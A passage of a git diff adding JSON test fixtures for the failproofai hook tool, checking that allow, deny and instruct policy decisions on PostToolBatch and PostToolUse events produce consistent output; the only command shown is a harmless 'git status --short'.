"Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..852023ea --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..eb3ecbf6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cf3b0329 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c3adbf98 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..be67758d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4d4f1589 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8ed4f638 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..550f03d1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f75bd224 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4d085270 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3cb3508c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9ece9e72 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a4e89884 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..799e8d2a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c7e951f3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..70213a74 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ca0d8da5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5a52d7fe --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + 